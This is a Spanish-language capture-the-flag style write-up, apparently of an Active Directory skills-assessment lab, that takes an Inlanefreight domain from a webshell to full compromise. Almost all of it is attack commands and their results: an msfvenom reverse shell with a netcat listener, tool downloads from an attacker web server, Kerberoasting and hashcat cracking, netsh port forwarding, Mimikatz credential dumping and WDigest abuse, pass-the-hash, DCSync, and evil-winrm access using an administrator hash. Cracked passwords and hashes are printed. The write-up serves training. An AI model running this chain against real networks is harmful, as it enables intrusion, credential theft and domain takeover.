Evaluación de Habilidades AD – Parte I (Inlanefreight)

🧩 Escenario — Evaluación de Habilidades AD (Parte I)

Un compañero del equipo inició una prueba de penetración externa contra Inlanefreight, encontrando:

Antes de cambiar de proyecto, dejó el webshell operativo.

🎯 Objetivo General

Obtener un punto de apoyo desde el webshell, enumerar Active Directory, detectar fallos críticos y comprometer el dominio.


🚀 1. Obtención de Shell Inverso

Generación del payload

msfvenom -p windows/x64/shell_reverse_tcp --platform windows -a x64  LHOST=<Ip_atacante> LPORT=4646 -f exe -o reverse.exe

🧽 Mejora la terminal (para soporte de flechas, autocompletado...):

rlwrap nc -nlvp 4646

Subimos reverse.exe al servidor vía webshell.
{E7C609E6-498B-4162-A440-B1A44912B1D9}.png
Ejecutar el payload

Start-Process "C:\reverse.exe"

✔ Shell recibida correctamente.
{49792B22-C0ED-4E07-B064-378E71EBDC31}.png


🌐 2. Servidor web temporal para enviar herramientas

python3 -m http.server 6969

Descargar PowerView:

Invoke-WebRequest -Uri "http://<Ip_atacante>:6969/PowerView.ps1 " -OutFile "C:\PowerView.ps1"

🏰 3. Enumeración Inicial del Dominio

Importamos PowerView:

. C:\PowerView.ps1
Get-Domain

{2EB5C5F2-2A63-4B0E-8E31-B94D8BBA1DD6}.png

Resultado

  • Dominio: INLANEFREIGHT.LOCAL
  • Controlador: DC01.INLANEFREIGHT.LOCAL


🔍 4. Usuarios Kerberoasteables

Get-DomainUser -SPN -Domain INLANEFREIGHT.LOCAL | select SamAccountName

{CAF0B9DC-BFD7-4D30-A179-40D8BF90F38F}.png
Obtener el hash Kerberoast:

Get-DomainUser -Identity svc_sql | Get-DomainSPNTicket -Format Hashcat

{54A24298-5017-4B26-9BAA-46AAEF3E27EF}.png

🔓 5. Crackeo de Hash (Kerberoasting)

hashcat -m 13100 svc_sql.hash /usr/share/wordlists/rockyou.txt --force

Pasted image 20251122104344.png

Contraseña descubierta

lucky7

🖥️ 6. Enumeración de Equipos

Get-DomainComputer | Select-Object Name, OperatingSystem, Enabled

Se encuentra MS01:
{30965687-7AD8-4183-8E1E-4DBAB1F0A45A}.png
Resolución DNS:

Resolve-DNsName -Name MS01

IP detectada: 172.16.6.50


🔁 7. Port-Forwarding para acceder a MS01 por RDP

# Redirección para MS01 (RDP puerto 3389)
netsh interface portproxy add v4tov4 listenport=8081 listenaddress=0.0.0.0 connectport=3389 connectaddress=172.16.6.50

# Permitir en firewall
netsh advfirewall firewall add rule name="MS01_RDP" dir=in action=allow protocol=TCP localport=8081

# Verificar configuración
netsh interface portproxy show all

Conexión RDP:

xfreerdp /v:10.129.X.X:8081 /u:svc_sql /p:lucky7 /d:INLANEFREIGHT.LOCAL /dynamic-resolution +clipboard /cert:ignore

{443BB714-FE58-4EA8-86F0-0A1937BB46C4}.png

✔ Acceso a MS01 logrado.

🧪 8. Dump de Credenciales con Mimikatz

./mimikatz.exe
privilege::debug
sekurlsa::logonpasswords

Pasted image 20251122114218.png
Se obtiene el hash NTLM del usuario tpetty, pero no es crackeable.


🔐 9. Obtener contraseña en claro (WDigest)

WDigest permite almacenar credenciales en texto claro en LSASS

Necesita activar UseLogonCredential = 1 en el registro.

Comprobar estado del registro:

Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" | Select-Object UseLogonCredential

Ejecutar nuevamente Mimikatz:

./mimikatz.exe   
privilege::debug   
sekurlsa::logonpasswords

Pasted image 20251122115413.png

Contraseña recuperada

Sup3rS3cur3D0m@inU2eR

🔍 10. Comprobación de Credenciales

crackmapexec smb 10.129.6.14 -u tpetty -p 'Sup3rS3cur3D0m@inU2eR

🛂 11. Enumeración de ACLs de tpetty

 Import-Module .\PowerView.ps1
$sid = Convert-NameToSid tpetty
Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $sid} 

Pasted image 20251122121043.png

Privilegios encontrados

  • DS-Replication-Get-Changes

  • DS-Replication-Get-Changes-All

✔ Puede realizar DCSync.


🧨 12. DCSync Attack → Hash de Administrator

Primero, pass-the-hash:

sekurlsa::pth /user:tpetty /domain:INLANEFREIGHT.LOCAL /ntlm:fd37b6fec5704cadabb319cebf9e3a3a

En la nueva ventana de cmd:

mimikatz.exe
lsadump::dcsync /domain:INLANEFREIGHT.LOCAL /user:INLANEFREIGHT\administrator

Pasted image 20251122122148.png

✔ Hash NTLM del administrador obtenido

# 🖧 13. Acceso al Controlador del Dominio (DC01)

Resolver DNS:

Resolve-DnsName -Name "DC01.INLANEFREIGHT.LOCAL"

IP: 172.16.6.3

Port-Forwarding a WinRM

# Redirección para DC01 (WinRM puerto 5985)
netsh interface portproxy add v4tov4 listenport=8083 listenaddress=0.0.0.0 connectport=5985 connectaddress=172.16.6.3

# Permitir en firewall
netsh advfirewall firewall add rule name="DC01_WinRM" dir=in action=allow protocol=TCP localport=8083

# Verificar configuración
netsh interface portproxy show all

Acceso con Evil-WinRM

evil-winrm -i 10.129.X.X -P 8083 -u Administrator -H 27dedb1dab4d8545c6e1c66fba077da0

Estamos en el controlador del dominio
{20C4BD28-9460-4C39-9BF1-CD3BE2D51543}.png

🎯 RESULTADO FINAL

Success

Dominio INLANEFREIGHT.LOCAL completamente comprometido:

  • Movimiento lateral

  • Privilege Escalation

  • DCSync → NTLM de Administrator

  • Acceso WinRM al DC01

Referencias

💣 Payloads
🔥 Kerberoasting - desde Windows
🧭 Port Forwarding con Windows Netsh
🔍 ACL Enumeration
🧬 DCSync — Compromiso Total del Dominio